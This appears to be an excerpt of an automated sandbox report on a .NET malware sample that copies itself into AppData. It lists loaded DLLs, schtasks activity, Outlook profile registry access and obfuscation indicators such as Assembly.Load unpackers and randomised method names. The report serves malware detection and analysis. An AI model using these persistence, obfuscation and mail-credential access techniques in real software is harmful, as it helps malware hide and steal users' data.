Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: UOEAjWmusE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UOEAjWmusE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: UOEAjWmusE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: gATZ.pdbSHA256% source: UOEAjWmusE.exe, gJdonuKfIrqN.exe.0.dr
Source:	Binary string: gATZ.pdb source: UOEAjWmusE.exe, gJdonuKfIrqN.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, CN5yYHyRFbwxLmQByk.cs	.Net Code: N88TYOqMX2 System.Reflection.Assembly.Load(byte[])
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, CN5yYHyRFbwxLmQByk.cs	.Net Code: N88TYOqMX2 System.Reflection.Assembly.Load(byte[])
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, CN5yYHyRFbwxLmQByk.cs	.Net Code: N88TYOqMX2 System.Reflection.Assembly.Load(byte[])
Source: 0.2.UOEAjWmusE.exe.55c0000.4.raw.unpack, MainForm.cs	.Net Code: _206D_206A_206B_200E_200F_206F_206E_200C_200F_202B_202E_206A_200C_202A_200C_206D_200C_206F_200C_206E_202E_200B_202B_200D_206C_206C_200E_200D_200D_200F_206D_206F_206A_206F_200D_206C_202C_206D_206C_206C_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053D46B8 pushad ; retf	0_2_053D46B9
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053D387B pushfd ; ret	0_2_053D3881
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_053DDA4B push ecx; ret	0_2_053DDA4C
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Code function: 0_2_059B296A push ebx; iretd	0_2_059B2A4C
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_0111F273 push ebp; retf	12_2_0111F281
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Code function: 12_2_01117E59 push edx; ret	12_2_01117E5A

Source: UOEAjWmusE.exe	Static PE information: section name: .text entropy: 7.495982404795054
Source: gJdonuKfIrqN.exe.0.dr	Static PE information: section name: .text entropy: 7.495982404795054

Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, ykwq833Z6B34s0VEfhO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'SChdqw9LmL', 'YtodEci6Vc', 'whBdx4EvCw', 'aYpdKE7Iak', 'SxOdVaVCrI', 'J9KdiWTVoc', 'VCZdJbWmSo'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, X7jrSvhQLCk3tcEVBO.cs	High entropy of concatenated method names: 'Lqbet3XrpT', 'yepeFRTUMv', 'vvgepHf6w4', 'spYeh5uQUR', 'bkYeRBBNfJ', 'mFbeCmfPEs', 'eIxekiHMYK', 'E0GeXiTul5', 'i6JecjWPiE', 'B0bednuIjv'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, uSEF6mPAc9wdH36276.cs	High entropy of concatenated method names: 'BFk8o7eh1k', 'vjg8WmN7Tp', 'c6P8Y9kVMv', 'iKo8tJTluc', 'NwP8NWNrID', 'Af98FjeEJj', 'NWk8SRZXy1', 'rML8p5tw03', 'oym8hAmrY1', 'fEJ8639kWA'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, KJ5FuO6XoQatL5oLIw.cs	High entropy of concatenated method names: 'xTi4NhFv4Z', 'hiZ4SMGQ7r', 'QsGevD00J1', 'nUUe2Ph6TR', 'ojDeOsIMnY', 'gGmefpFBsc', 'XU3e518Mcp', 'LSiewmIYWF', 'OucePwld3h', 'dc5e7fiR7a'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, ihJ4FBKXUtjaE3ggN7.cs	High entropy of concatenated method names: 'B9xR7ZXdOv', 'TtXREu5toR', 'bCNRK2B8hT', 'FXqRVvK8AG', 'Te8R1xAI8V', 'oEyRvnLxJC', 'afWR2uoyXv', 'CZEROdSHhD', 'OkDRfERTHp', 'XpKR5SokOX'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, pAofq3JBjTtJlGsXSM.cs	High entropy of concatenated method names: 'esukDZONPH', 'X77kQcwBHY', 'ToString', 'RHfkrrNPHl', 'Cdak0YfWQR', 'Bx4ke3CBDb', 'dyAk4oUEs8', 'GkgklViage', 'nIVk8JnjiD', 'OYZky5J6oa'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, U1KWHpiL3OAw2XEwe2.cs	High entropy of concatenated method names: 'ToString', 'uyECqB6txv', 'r5nC1AWgZK', 'WteCvY9Opv', 'pg3C2PxUeI', 'IOyCOE20Kr', 'i6MCfnLiVw', 'jjcC5BsRRa', 'cm7Cw83Orp', 'kHaCPbwxPX'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, DO0t4SpngkX2NaXBd4.cs	High entropy of concatenated method names: 'GHJ0KRk8XU', 'rYq0VxYhdQ', 'dWp0ijNjTd', 'a8r0J6iNHT', 'hlO0MfHkiI', 'xFE0UOifdT', 'Yyf0je3bnu', 'cc40BjiMhN', 'CtT0ambyAn', 'mjh0G598i1'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, ALe4H1aZrGP7WZgId3.cs	High entropy of concatenated method names: 'dAac9HFTDg', 'JXrc1MnFFT', 'rkVcvVmXTx', 'GTCc2kF7wW', 'AntcOudjc6', 'JQIcfS3AQw', 'Bgrc5omRXh', 'H1ycwkEMqL', 'qw1cPOR4Gl', 'Mv1c7ix2bh'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, ah53opGUxTfCHXjgD8.cs	High entropy of concatenated method names: 'NuydesgTHH', 'hpOd4BmPXM', 'OP1dleVxfx', 'hK2d86pw9n', 'aqqdcB343u', 'vo2dyDjIWI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, to3XjkU4G0PFJ9T0Kr.cs	High entropy of concatenated method names: 'SMykBk8dth', 'pCqkGByyNm', 'JwAXZcsjRF', 'X7rX3uofVm', 'uMJkqTaRTm', 'ROQkELKVwD', 'HalkxBVOLR', 'lFtkK4BlWd', 'ao4kV5Yo6W', 'q0nkiEfP9q'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, CN5yYHyRFbwxLmQByk.cs	High entropy of concatenated method names: 'eoAgns4WsC', 'oewgrIdyn9', 'FThg0CQurM', 'tt0ge7rQb6', 'Cdxg4A92dg', 'NSngltJugh', 'cqmg8SThhh', 'arDgycGxxP', 'UTggAcMUNr', 'g2jgDcJfwf'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, xQPiMs0Su5EiSHtEVc.cs	High entropy of concatenated method names: 'Dispose', 'CwA3aOX9aO', 'kkWI15meV3', 'OuYWgVV7FW', 'AKm3GFmnwp', 'Vo23z8VPZD', 'ProcessDialogKey', 'NItIZLe4H1', 'arGI3P7WZg', 'cd3IIZh53o'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, FZAVh29FgqEruZXF2d.cs	High entropy of concatenated method names: 'I2llnKLLOD', 'qrcl022U06', 'zFil4GIPKQ', 'rH2l8rtolS', 'TF5lyEyVnp', 'BwF4MgLqgB', 'mmv4UtQav6', 'xTw4jaltOx', 'MeY4BngpOi', 'EZP4aby8S2'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, VZ6G5a33HLJq5VC6DiA.cs	High entropy of concatenated method names: 'ivMdGGxVgR', 'S8pdze52nK', 'tJ2LZhrfkN', 'vGXL36Csca', 'QjALIKsyJs', 'bA0LgWCOIo', 'UPOLTwiidv', 'nYuLnv6Owy', 'hVhLrhtaZ2', 'Kt9L0v7WXW'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, LZKDRPI5m93416evaE.cs	High entropy of concatenated method names: 'T4oYNrwkJ', 'NIZt6Xs1a', 'k1iFGsvfS', 'SgPSGelPd', 'FXIhhdpZ6', 'LQG64GFtU', 'DF7ricaPu4pE9LJJjs', 'g6e4FWCbSEnwyrYgAt', 'i7kXiOGeH', 'JrXdJ6HiN'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, StXgmoxJK0VbLhPolI.cs	High entropy of concatenated method names: 'PjkmpTPNWc', 'WPOmhHfjmC', 'jINm9aaNLV', 'J2fm1Z9dNC', 'G8tm2kx90h', 'JiOmOF4CEp', 'ce1m5WjHvO', 'PplmwrMq3P', 'D9Nm7QvJOp', 'BYsmqZZ9og'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, jReNHLjXOSwAOX9aOt.cs	High entropy of concatenated method names: 'AChcR2nSji', 'xa4ckfAS7Y', 'iGRcc5rewK', 'j3qcLG9HUM', 'EKEcuvN0MS', 'I8qcsnf9LB', 'Dispose', 'N8XXrsbjKp', 'sNYX0vn4Ru', 'Y1AXeA4cPA'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, v28Va1zOGSaDoSRTxf.cs	High entropy of concatenated method names: 'FG9dFa0y9R', 'xGEdpPtRES', 'QiYdhQvcD5', 'Im0d9DeQTX', 'xkTd1hEha5', 'yGRd2NGPaR', 'XHydOdHUjY', 'HrKdsfft78', 'LxKdoOPPib', 'xTgdWybeqc'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, zDbEFX5MNIQlmgofDa.cs	High entropy of concatenated method names: 'VJD8rgLbCE', 'Anr8eocsSE', 'Cc28lx16QL', 'jrblG1urGk', 'LSvlze9XTo', 'ABK8Zi2pFR', 'Qia83BX9EZ', 'a7G8Ikr8Bh', 'xaB8gLBiZG', 'HNT8Tt4vGA'
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, A0hF9CTSjuKdGsFWh7.cs	High entropy of concatenated method names: 'QHp38O0t4S', 'egk3yX2NaX', 'HQL3DCk3tc', 'PVB3QO5J5F', 'LoL3RIw6ZA', 'Sh23CFgqEr', 'tai0JrrS3hy1ypYyiK', 'H8XS5NFrqFUSIG8IyC', 'DLL33MpYNY', 'M9R3geTFe6'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, ykwq833Z6B34s0VEfhO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'SChdqw9LmL', 'YtodEci6Vc', 'whBdx4EvCw', 'aYpdKE7Iak', 'SxOdVaVCrI', 'J9KdiWTVoc', 'VCZdJbWmSo'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, X7jrSvhQLCk3tcEVBO.cs	High entropy of concatenated method names: 'Lqbet3XrpT', 'yepeFRTUMv', 'vvgepHf6w4', 'spYeh5uQUR', 'bkYeRBBNfJ', 'mFbeCmfPEs', 'eIxekiHMYK', 'E0GeXiTul5', 'i6JecjWPiE', 'B0bednuIjv'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, uSEF6mPAc9wdH36276.cs	High entropy of concatenated method names: 'BFk8o7eh1k', 'vjg8WmN7Tp', 'c6P8Y9kVMv', 'iKo8tJTluc', 'NwP8NWNrID', 'Af98FjeEJj', 'NWk8SRZXy1', 'rML8p5tw03', 'oym8hAmrY1', 'fEJ8639kWA'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, KJ5FuO6XoQatL5oLIw.cs	High entropy of concatenated method names: 'xTi4NhFv4Z', 'hiZ4SMGQ7r', 'QsGevD00J1', 'nUUe2Ph6TR', 'ojDeOsIMnY', 'gGmefpFBsc', 'XU3e518Mcp', 'LSiewmIYWF', 'OucePwld3h', 'dc5e7fiR7a'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, ihJ4FBKXUtjaE3ggN7.cs	High entropy of concatenated method names: 'B9xR7ZXdOv', 'TtXREu5toR', 'bCNRK2B8hT', 'FXqRVvK8AG', 'Te8R1xAI8V', 'oEyRvnLxJC', 'afWR2uoyXv', 'CZEROdSHhD', 'OkDRfERTHp', 'XpKR5SokOX'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, pAofq3JBjTtJlGsXSM.cs	High entropy of concatenated method names: 'esukDZONPH', 'X77kQcwBHY', 'ToString', 'RHfkrrNPHl', 'Cdak0YfWQR', 'Bx4ke3CBDb', 'dyAk4oUEs8', 'GkgklViage', 'nIVk8JnjiD', 'OYZky5J6oa'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, U1KWHpiL3OAw2XEwe2.cs	High entropy of concatenated method names: 'ToString', 'uyECqB6txv', 'r5nC1AWgZK', 'WteCvY9Opv', 'pg3C2PxUeI', 'IOyCOE20Kr', 'i6MCfnLiVw', 'jjcC5BsRRa', 'cm7Cw83Orp', 'kHaCPbwxPX'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, DO0t4SpngkX2NaXBd4.cs	High entropy of concatenated method names: 'GHJ0KRk8XU', 'rYq0VxYhdQ', 'dWp0ijNjTd', 'a8r0J6iNHT', 'hlO0MfHkiI', 'xFE0UOifdT', 'Yyf0je3bnu', 'cc40BjiMhN', 'CtT0ambyAn', 'mjh0G598i1'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, ALe4H1aZrGP7WZgId3.cs	High entropy of concatenated method names: 'dAac9HFTDg', 'JXrc1MnFFT', 'rkVcvVmXTx', 'GTCc2kF7wW', 'AntcOudjc6', 'JQIcfS3AQw', 'Bgrc5omRXh', 'H1ycwkEMqL', 'qw1cPOR4Gl', 'Mv1c7ix2bh'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, ah53opGUxTfCHXjgD8.cs	High entropy of concatenated method names: 'NuydesgTHH', 'hpOd4BmPXM', 'OP1dleVxfx', 'hK2d86pw9n', 'aqqdcB343u', 'vo2dyDjIWI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, to3XjkU4G0PFJ9T0Kr.cs	High entropy of concatenated method names: 'SMykBk8dth', 'pCqkGByyNm', 'JwAXZcsjRF', 'X7rX3uofVm', 'uMJkqTaRTm', 'ROQkELKVwD', 'HalkxBVOLR', 'lFtkK4BlWd', 'ao4kV5Yo6W', 'q0nkiEfP9q'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, CN5yYHyRFbwxLmQByk.cs	High entropy of concatenated method names: 'eoAgns4WsC', 'oewgrIdyn9', 'FThg0CQurM', 'tt0ge7rQb6', 'Cdxg4A92dg', 'NSngltJugh', 'cqmg8SThhh', 'arDgycGxxP', 'UTggAcMUNr', 'g2jgDcJfwf'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, xQPiMs0Su5EiSHtEVc.cs	High entropy of concatenated method names: 'Dispose', 'CwA3aOX9aO', 'kkWI15meV3', 'OuYWgVV7FW', 'AKm3GFmnwp', 'Vo23z8VPZD', 'ProcessDialogKey', 'NItIZLe4H1', 'arGI3P7WZg', 'cd3IIZh53o'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, FZAVh29FgqEruZXF2d.cs	High entropy of concatenated method names: 'I2llnKLLOD', 'qrcl022U06', 'zFil4GIPKQ', 'rH2l8rtolS', 'TF5lyEyVnp', 'BwF4MgLqgB', 'mmv4UtQav6', 'xTw4jaltOx', 'MeY4BngpOi', 'EZP4aby8S2'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, VZ6G5a33HLJq5VC6DiA.cs	High entropy of concatenated method names: 'ivMdGGxVgR', 'S8pdze52nK', 'tJ2LZhrfkN', 'vGXL36Csca', 'QjALIKsyJs', 'bA0LgWCOIo', 'UPOLTwiidv', 'nYuLnv6Owy', 'hVhLrhtaZ2', 'Kt9L0v7WXW'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, LZKDRPI5m93416evaE.cs	High entropy of concatenated method names: 'T4oYNrwkJ', 'NIZt6Xs1a', 'k1iFGsvfS', 'SgPSGelPd', 'FXIhhdpZ6', 'LQG64GFtU', 'DF7ricaPu4pE9LJJjs', 'g6e4FWCbSEnwyrYgAt', 'i7kXiOGeH', 'JrXdJ6HiN'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, StXgmoxJK0VbLhPolI.cs	High entropy of concatenated method names: 'PjkmpTPNWc', 'WPOmhHfjmC', 'jINm9aaNLV', 'J2fm1Z9dNC', 'G8tm2kx90h', 'JiOmOF4CEp', 'ce1m5WjHvO', 'PplmwrMq3P', 'D9Nm7QvJOp', 'BYsmqZZ9og'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, jReNHLjXOSwAOX9aOt.cs	High entropy of concatenated method names: 'AChcR2nSji', 'xa4ckfAS7Y', 'iGRcc5rewK', 'j3qcLG9HUM', 'EKEcuvN0MS', 'I8qcsnf9LB', 'Dispose', 'N8XXrsbjKp', 'sNYX0vn4Ru', 'Y1AXeA4cPA'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, v28Va1zOGSaDoSRTxf.cs	High entropy of concatenated method names: 'FG9dFa0y9R', 'xGEdpPtRES', 'QiYdhQvcD5', 'Im0d9DeQTX', 'xkTd1hEha5', 'yGRd2NGPaR', 'XHydOdHUjY', 'HrKdsfft78', 'LxKdoOPPib', 'xTgdWybeqc'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, zDbEFX5MNIQlmgofDa.cs	High entropy of concatenated method names: 'VJD8rgLbCE', 'Anr8eocsSE', 'Cc28lx16QL', 'jrblG1urGk', 'LSvlze9XTo', 'ABK8Zi2pFR', 'Qia83BX9EZ', 'a7G8Ikr8Bh', 'xaB8gLBiZG', 'HNT8Tt4vGA'
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, A0hF9CTSjuKdGsFWh7.cs	High entropy of concatenated method names: 'QHp38O0t4S', 'egk3yX2NaX', 'HQL3DCk3tc', 'PVB3QO5J5F', 'LoL3RIw6ZA', 'Sh23CFgqEr', 'tai0JrrS3hy1ypYyiK', 'H8XS5NFrqFUSIG8IyC', 'DLL33MpYNY', 'M9R3geTFe6'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, ykwq833Z6B34s0VEfhO.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'SChdqw9LmL', 'YtodEci6Vc', 'whBdx4EvCw', 'aYpdKE7Iak', 'SxOdVaVCrI', 'J9KdiWTVoc', 'VCZdJbWmSo'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, X7jrSvhQLCk3tcEVBO.cs	High entropy of concatenated method names: 'Lqbet3XrpT', 'yepeFRTUMv', 'vvgepHf6w4', 'spYeh5uQUR', 'bkYeRBBNfJ', 'mFbeCmfPEs', 'eIxekiHMYK', 'E0GeXiTul5', 'i6JecjWPiE', 'B0bednuIjv'
